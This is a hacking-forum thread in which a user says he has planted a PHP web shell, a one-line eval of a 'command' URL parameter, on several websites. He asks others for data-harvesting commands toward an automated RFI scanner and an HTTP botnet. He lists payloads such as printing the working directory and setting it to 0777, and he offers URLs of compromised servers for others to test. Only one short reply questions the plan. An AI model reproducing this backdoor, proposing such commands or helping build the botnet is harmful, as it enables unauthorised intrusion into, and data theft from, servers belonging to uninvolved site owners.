[PseudoMander]

I've manage to embed multiple copies of

Code

<?PHP
eval ($_GET["command"]);
?>

on a few websites and was hoping to get an open forum going on valuable inputs,
my final goal would be to make an automated googledork based rfi scanner which once embedding the above code on servers would apply various commands and store results in a database to create a comprehensive http botnet.

Can many people think of worthwhile php commands for data harvesting/gathering & system analysis?

I'll start

Code

command=echo getcwd();

Returns the current directory allowing the user to discern, The current filesystem allowing for differentiation between *Nix & Windows systems, as well as frequently revealing the username of the server.

Code

command=chmod(getcwd(),0777);

Attempt to change the file permissions of the current directory allowing for read write and execute to everyone.

Anything people could contribute would be unfathomably appreciated. Also I do have more advanced backdoors but I need to learn to work with the classic, much easier to backdoor into other peoples php files.

AFTERTHOUGHT:

If anyone wants to test this on a partially insecure server just ask and I'll shoot a url your way. (Or use google for an extra challange! I always index my backdoors.)

[PseudoMander]

Could a moderator please close this post, I got answers in https://hackforums.net/showthread.php?ti...d=22974962

[Nitai]

probly, none of the coders would write such a code .